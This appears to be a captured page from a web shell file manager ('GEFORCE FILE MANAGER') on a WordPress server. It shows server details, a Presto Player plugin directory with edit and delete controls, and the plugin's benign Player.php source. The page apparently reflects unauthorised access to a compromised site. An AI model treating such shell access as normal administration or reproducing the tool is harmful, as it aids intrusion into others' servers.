[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
inc
/
Models
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 AudioPreset.php
4,104 B
SET
[ EDIT ]
|
[ DEL ]
📄 Block.php
582 B
SET
[ EDIT ]
|
[ DEL ]
📄 CurrentUser.php
561 B
SET
[ EDIT ]
|
[ DEL ]
📄 EmailCollection.php
1,677 B
SET
[ EDIT ]
|
[ DEL ]
📄 Model.php
19,674 B
SET
[ EDIT ]
|
[ DEL ]
📄 ModelInterface.php
2,107 B
SET
[ EDIT ]
|
[ DEL ]
📄 Player.php
1,726 B
SET
[ EDIT ]
|
[ DEL ]
📄 Post.php
3,042 B
SET
[ EDIT ]
|
[ DEL ]
📄 Preset.php
4,900 B
SET
[ EDIT ]
|
[ DEL ]
📄 ReusableVideo.php
7,923 B
SET
[ EDIT ]
|
[ DEL ]
📄 Setting.php
2,252 B
SET
[ EDIT ]
|
[ DEL ]
📄 Video.php
5,325 B
SET
[ EDIT ]
|
[ DEL ]
📄 Webhook.php
1,749 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Player.php
<?php namespace PrestoPlayer\Models; class Player { public static $branding_key = 'presto_player_branding'; public static function postHasPlayer( $id ) { // global is the most reliable between page builders global $load_presto_js; if ( $load_presto_js ) { return true; } // change to see if we have one of our blocks $types = Block::getBlockTypes(); foreach ( $types as $type ) { if ( has_block( $type, $id ) ) { return true; } } // check for data-presto-config (player rendered) $wp_post = get_post( $id ); if ( $wp_post instanceof \WP_Post ) { $post = $wp_post->post_content; } $has_player = false !== strpos( $post, '<presto-player' ); if ( $has_player ) { return true; } // check that we have a shortcode if ( has_shortcode( $post, 'presto_player' ) ) { return true; } // enable on Elementor if ( ! empty( $_GET['action'] ) && 'elementor' === $_GET['action'] ) { return true; } if ( isset( $_GET['elementor-preview'] ) ) { return true; } // load for beaver builder if ( isset( $_GET['fl_builder'] ) ) { return true; } // do we have the player return $has_player; } /** * Get get branding settings * * @return array */ public static function getBranding() { $defaults = array( 'logo' => '', 'logo_width' => 150, 'color' => '#00b3ff', ); return self::get_option( self::$branding_key, $defaults ); } /** * Revert to option default in case it's empty * * @param string $key * @param array $defaults * @return array */ public static function get_option( $key, $defaults ) { $config = get_option( $key, $defaults ); return ! empty( $config ) ? $config : $defaults; } }